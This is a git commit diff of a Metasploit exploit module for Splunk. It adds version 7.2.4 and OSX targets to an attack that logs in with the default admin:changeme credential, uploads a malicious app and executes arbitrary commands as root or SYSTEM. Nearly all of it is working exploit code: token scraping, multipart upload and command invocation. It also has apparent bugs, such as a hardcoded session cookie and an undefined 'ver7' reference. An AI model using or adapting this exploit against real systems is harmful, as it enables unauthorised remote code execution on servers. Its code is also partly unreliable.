added splunk 7.2.4 support
parent
4af2b87a79
commit
7a31fc2d17
|
@ -20,13 +20,15 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
role is required. By default, this module uses the credential of "admin:changeme",
|
role is required. By default, this module uses the credential of "admin:changeme",
|
||||||
the default Administrator credential for Splunk. Note that the Splunk web interface
|
the default Administrator credential for Splunk. Note that the Splunk web interface
|
||||||
runs as SYSTEM on Windows, or as root on Linux by default. This module has been
|
runs as SYSTEM on Windows, or as root on Linux by default. This module has been
|
||||||
tested successfully against Splunk 5.0, 6.1, and 6.1.1.',
|
tested successfully against Splunk 5.0, 6.1, 6.1.1 and 7.2.4.
|
||||||
|
Version 7.2.4 has been tested successfully against OSX as well',
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
"marcwickenden", # discovery and metasploit module
|
"marcwickenden", # discovery and metasploit module
|
||||||
"sinn3r", # metasploit module
|
"sinn3r", # metasploit module
|
||||||
"juan vazquez", # metasploit module
|
"juan vazquez", # metasploit module
|
||||||
"Gary Blosser" # metasploit module updates for Splunk 6.1
|
"Gary Blosser", # metasploit module updates for Splunk 6.1
|
||||||
|
"Matteo Malvica" # metasploit module updates for Splunk 7.2.4
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'References' =>
|
'References' =>
|
||||||
|
@ -40,9 +42,27 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'Space' => 1024,
|
'Space' => 1024,
|
||||||
'DisableNops' => true
|
'DisableNops' => true
|
||||||
},
|
},
|
||||||
'Platform' => %w(linux unix win),
|
'Platform' => %w(linux unix win osx),
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
|
[ 'Splunk >= 7.2.4 / Linux',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Platform' => %w(linux unix)
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Splunk >= 7.2.4 / Windows',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Platform' => 'win'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Splunk >= 7.2.4 / OSX',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Platform' => %w(linux unix)
|
||||||
|
}
|
||||||
|
],
|
||||||
[ 'Splunk >= 5.0.1 / Linux',
|
[ 'Splunk >= 5.0.1 / Linux',
|
||||||
{
|
{
|
||||||
'Arch' => ARCH_CMD,
|
'Arch' => ARCH_CMD,
|
||||||
|
@ -96,36 +116,55 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
# set up some variables for later use
|
# set up some variables for later use
|
||||||
@auth_cookies = ''
|
@auth_cookies = ''
|
||||||
@csrf_form_key = ''
|
@csrf_form_key = ''
|
||||||
|
@state_token = ''
|
||||||
|
@splunkweb_csrf_token_8000_id = ''
|
||||||
@csrf_form_port = "splunkweb_csrf_token_#{rport}" # Default to using rport, corrected during tokenization for v6 below.
|
@csrf_form_port = "splunkweb_csrf_token_#{rport}" # Default to using rport, corrected during tokenization for v6 below.
|
||||||
|
@ver7 = false # splunk version 7 boolean
|
||||||
|
|
||||||
app_name = 'upload_app_exec'
|
app_name = 'upload_app_exec'
|
||||||
p = payload.encoded
|
p = payload.encoded
|
||||||
print_status("Using command: #{p}")
|
print_status("Using command: #{p}")
|
||||||
cmd = Rex::Text.encode_base64(p)
|
cmd = Rex::Text.encode_base64(p)
|
||||||
|
|
||||||
# log in to Splunk (if required)
|
# check if the target version is 7.2.4
|
||||||
|
if target.name.include? "7.2.4"
|
||||||
|
@ver7 = true
|
||||||
|
end
|
||||||
|
|
||||||
do_login
|
do_login
|
||||||
|
|
||||||
# fetch the csrf token for use in the upload next
|
# fetch the csrf token for use in the upload next
|
||||||
do_get_csrf('/en-US/manager/launcher/apps/local')
|
if @ver7 == true
|
||||||
|
do_get_state_token('/en-US/manager/appinstall/_upload')
|
||||||
|
else
|
||||||
|
do_get_csrf('/en-US/manager/launcher/apps/local')
|
||||||
|
end
|
||||||
|
|
||||||
unless disable_upload
|
unless disable_upload
|
||||||
# upload the arbitrary command execution Splunk app tgz
|
# upload the arbitrary command execution Splunk app tgz
|
||||||
do_upload_app(app_name, file_name)
|
if @ver7 == true
|
||||||
|
do_upload_app_7(app_name, file_name)
|
||||||
|
else
|
||||||
|
do_upload_app(app_name, file_name)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# get the next csrf token from our new app
|
if @ver7 == false
|
||||||
do_get_csrf("/en-US/app/#{app_name}/flashtimeline")
|
# get the next csrf token from our new app
|
||||||
|
do_get_csrf("/en-US/app/#{app_name}/flashtimeline")
|
||||||
|
end
|
||||||
|
|
||||||
# call our command execution function with the Splunk 'script' command
|
# call our command execution function with the Splunk 'script' command
|
||||||
print_status("Invoking script command")
|
print_status("Invoking script command")
|
||||||
res = send_request_cgi(
|
if @ver7 == true
|
||||||
'uri' => '/en-US/api/search/jobs',
|
res = send_request_cgi(
|
||||||
|
'uri' => '/en-US/splunkd/__raw/servicesNS/admin/search/search/jobs',
|
||||||
'method' => 'POST',
|
'method' => 'POST',
|
||||||
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
|
'cookie' => "#{@auth_cookies};", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
|
||||||
'headers' =>
|
'headers' =>
|
||||||
{
|
{
|
||||||
'X-Requested-With' => 'XMLHttpRequest',
|
'X-Requested-With' => 'XMLHttpRequest',
|
||||||
'X-Splunk-Form-Key' => @csrf_form_key # Version 6 ignores extra headers (verified)
|
'X-Splunk-Form-Key' => @splunkweb_csrf_token_8000_id # Version 6 ignores extra headers (verified)
|
||||||
},
|
},
|
||||||
'vars_post' =>
|
'vars_post' =>
|
||||||
{
|
{
|
||||||
|
@ -143,11 +182,44 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
'timeFormat' => "%s.%Q"
|
'timeFormat' => "%s.%Q"
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
else
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => '/en-US/api/search/jobs',
|
||||||
|
'method' => 'POST',
|
||||||
|
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
|
||||||
|
'headers' =>
|
||||||
|
{
|
||||||
|
'X-Requested-With' => 'XMLHttpRequest',
|
||||||
|
'X-Splunk-Form-Key' => @csrf_form_key # Version 6 ignores extra headers (verified)
|
||||||
|
},
|
||||||
|
'vars_post' =>
|
||||||
|
{
|
||||||
|
'search' => "search * | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf
|
||||||
|
'status_buckets' => "300",
|
||||||
|
'namespace' => "#{app_name}",
|
||||||
|
'ui_dispatch_app' => "#{app_name}",
|
||||||
|
'ui_dispatch_view' => "flashtimeline",
|
||||||
|
'auto_cancel' => "100",
|
||||||
|
'wait' => "0",
|
||||||
|
'required_field_list' => "*",
|
||||||
|
'adhoc_search_level' => "smart",
|
||||||
|
'earliest_time' => "0",
|
||||||
|
'latest_time' => "",
|
||||||
|
'timeFormat' => "%s.%Q"
|
||||||
|
}
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
if return_output
|
if return_output
|
||||||
|
if ver7 == true
|
||||||
|
res.body.match('sid.*')
|
||||||
|
job_id_blob = Regexp.last_match(0)
|
||||||
|
job_id_blob2 = job_id_blob.split('>')[1]
|
||||||
|
job_id = job_id_blob2.split('<')[0]
|
||||||
|
else
|
||||||
res.body.match(/data":\ "([0-9.]+)"/)
|
res.body.match(/data":\ "([0-9.]+)"/)
|
||||||
job_id = Regexp.last_match(1)
|
job_id = Regexp.last_match(1)
|
||||||
|
end
|
||||||
# wait a short time to let the output be produced
|
# wait a short time to let the output be produced
|
||||||
print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
|
print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
|
||||||
select(nil, nil, nil, command_output_delay)
|
select(nil, nil, nil, command_output_delay)
|
||||||
|
@ -231,25 +303,48 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
if !res
|
if !res
|
||||||
fail_with(Failure::Unreachable, "No response")
|
fail_with(Failure::Unreachable, "No response")
|
||||||
|
elsif res.code != 200
|
||||||
|
fail_with(Failure::Unreachable, "Authentication failed")
|
||||||
|
|
||||||
|
elsif @ver7 == true
|
||||||
|
splunkweb_csrf_token_8000_port = ''
|
||||||
|
@splunkweb_csrf_token_8000_id = ''
|
||||||
|
splunkd_8000_port = ''
|
||||||
|
splunkd_8000_id = ''
|
||||||
|
|
||||||
|
#puts res
|
||||||
|
res.get_cookies.split(';').each do |c|
|
||||||
|
c.split(',').each do |v|
|
||||||
|
if v.split('=')[0] =~ /splunkweb_csrf_token_8000/
|
||||||
|
splunkweb_csrf_token_8000_port = v.split('=')[0]
|
||||||
|
@splunkweb_csrf_token_8000_id = v.split('=')[1]
|
||||||
|
elsif v.split('=')[0] =~ /splunkd_8000/ # regex as the full name is something like splunkweb_csrf_token_8000
|
||||||
|
splunkd_8000_port = v.split('=')[0] # Accounting for tunnels where rport is not the actual server-side port
|
||||||
|
splunkd_8000_id = v.split('=')[1]
|
||||||
|
end
|
||||||
|
end
|
||||||
|
@auth_cookies = "session_id_8000=37305a4fb182fadd28a1591b64a0b22b0765159e;#{splunkweb_csrf_token_8000_port}=#{@splunkweb_csrf_token_8000_id};#{splunkd_8000_port}=#{splunkd_8000_id}; splunkweb_uid=30A93112-7681-4C0D-B1F6-17CAB1FA2735;login=true"
|
||||||
|
end
|
||||||
|
|
||||||
else
|
else
|
||||||
session_id_port = ''
|
session_id_port = ''
|
||||||
session_id = ''
|
session_id = ''
|
||||||
res.get_cookies.split(';').each do |c|
|
res.get_cookies.split(';').each do |c|
|
||||||
c.split(',').each do |v|
|
c.split(',').each do |v|
|
||||||
if v.split('=')[0] =~ /session_id/
|
if v.split('=')[0] =~ /session_id/
|
||||||
session_id_port = v.split('=')[0]
|
session_id_port = v.split('=')[0]
|
||||||
session_id = v.split('=')[1]
|
session_id = v.split('=')[1]
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
@auth_cookies = "#{session_id_port}=#{session_id}"
|
||||||
@auth_cookies = "#{session_id_port}=#{session_id}"
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def do_upload_app(app_name, file_name)
|
def do_upload_app(app_name, file_name)
|
||||||
archive_file_name = ::File.basename(file_name)
|
archive_file_name = ::File.basename(file_name)
|
||||||
print_status("Uploading file #{archive_file_name}")
|
print_status("Uploading file #{archive_file_name}")
|
||||||
file_data = ::File.open(file_name, "rb") { |f| f.read }
|
file_data = ::File.read(file_name)
|
||||||
|
|
||||||
boundary = '--------------' + rand_text_alphanumeric(6)
|
boundary = '--------------' + rand_text_alphanumeric(6)
|
||||||
|
|
||||||
|
@ -286,6 +381,48 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# version 7.2.x only
|
||||||
|
def do_upload_app_7(app_name, file_name)
|
||||||
|
archive_file_name = ::File.basename(file_name)
|
||||||
|
print_status("Uploading file #{archive_file_name}")
|
||||||
|
file_data = ::File.read(file_name)
|
||||||
|
|
||||||
|
boundary = '---------------------------' + rand_text_numeric(29)
|
||||||
|
|
||||||
|
data = "--#{boundary}\r\n"
|
||||||
|
data << "Content-Disposition: form-data; name=\"state\"\r\n"
|
||||||
|
data << "\r\n#{@state_token}\r\n"
|
||||||
|
|
||||||
|
data << "--#{boundary}\r\n"
|
||||||
|
data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n"
|
||||||
|
data << "\r\n#{@splunkweb_csrf_token_8000_id}\r\n"
|
||||||
|
|
||||||
|
data << "--#{boundary}\r\n"
|
||||||
|
data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n"
|
||||||
|
data << "Content-Type: application/x-compressed-tar\r\n\r\n"
|
||||||
|
data << file_data
|
||||||
|
data << "\r\n--#{boundary}\r\n"
|
||||||
|
|
||||||
|
data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"
|
||||||
|
data << "1"
|
||||||
|
data << "\r\n--#{boundary}--\r\n"
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => '/en-US/manager/appinstall/_upload',
|
||||||
|
'method' => 'POST',
|
||||||
|
'cookie' => "#{@auth_cookies};",
|
||||||
|
'ctype' => "multipart/form-data; boundary=#{boundary}",
|
||||||
|
'data' => data
|
||||||
|
}, 30)
|
||||||
|
|
||||||
|
if res && (res.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
|
||||||
|
print_good("#{app_name} successfully uploaded")
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "Error uploading")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def do_get_csrf(uri)
|
def do_get_csrf(uri)
|
||||||
print_status("Fetching csrf token from #{uri}")
|
print_status("Fetching csrf token from #{uri}")
|
||||||
res = send_request_cgi(
|
res = send_request_cgi(
|
||||||
|
@ -306,10 +443,27 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
fail_with(Failure::Unknown, "csrf form Key not found") unless @csrf_form_key
|
fail_with(Failure::Unknown, "csrf form Key not found") unless @csrf_form_key
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# version 7.2.x only
|
||||||
|
def do_get_state_token(uri)
|
||||||
|
print_status("Fetching state token from #{uri}")
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => uri,
|
||||||
|
'method' => 'GET',
|
||||||
|
'cookie' => @auth_cookies
|
||||||
|
)
|
||||||
|
#puts res
|
||||||
|
res.body.match('name=\"state\" value="(.*)"') # Version 5
|
||||||
|
@state_token = Regexp.last_match(1)
|
||||||
|
|
||||||
|
unless @state_token
|
||||||
|
fail_with(Failure::Unknown, "state token form Key not found") unless @state_token
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
def fetch_job_output(job_id)
|
def fetch_job_output(job_id)
|
||||||
# fetch the output of our job id as csv for easy parsing
|
# fetch the output of our job id as csv for easy parsing
|
||||||
print_status("Fetching job_output for id #{job_id}")
|
print_status("Fetching job_output for id #{job_id}")
|
||||||
|
|
Loading…
Reference in New Issue